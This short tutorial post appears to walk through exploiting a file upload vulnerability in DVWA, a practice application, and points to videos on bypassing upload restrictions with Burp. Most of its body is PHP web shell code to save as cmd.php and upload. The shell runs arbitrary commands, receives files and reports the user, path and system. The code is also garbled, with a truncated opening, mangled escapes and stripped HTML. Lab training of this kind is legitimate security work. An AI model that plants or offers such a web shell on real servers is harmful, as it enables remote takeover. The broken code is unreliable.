File upload vulnerability (PHP cmd shell)

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Here is a video showing you how to upload a php based command shell as part of a file upload vulnerability on the vulnerable application called DVWA this can be downloaded from the following address: http://www.dvwa.co.uk/

Here is another video which shows the same method as above but additionally shows you how to bypass file type and size restrictions using a web proxy called Burp

Here is the code for a simple web shell that you can upload. Paste the code below in notepad and save as cmd.php

&1",$out);
		foreach($out as $o)
       		echo $o . "n";
	}
        else if(isset($_FILES['file']['tmp_name']))
        {
            $name = basename($_FILES['file']['name']);
            if(move_uploaded_file($_FILES['file']['tmp_name'], $_SERVER['TEMP']?$_SERVER['TEMP']:"/tmp" . "/" . basename($_FILES['file']['name']))) 
            {
                echo "$name: Success!"; } else { echo "$name: Failure!"; } exit(); } else { ?>      
  
 
    Upload! Execute! 
 
 
 <?php 
exec("whoami",$who);
$pwd=$_SERVER["DOCUMENT_ROOT"];
$sys=PHP_OS . ", " .$_SERVER['SERVER_SOFTWARE']. ", " . phpversion();
echo "user: $who[0]tlocation: $pwdtsystem: $sys"; 
?>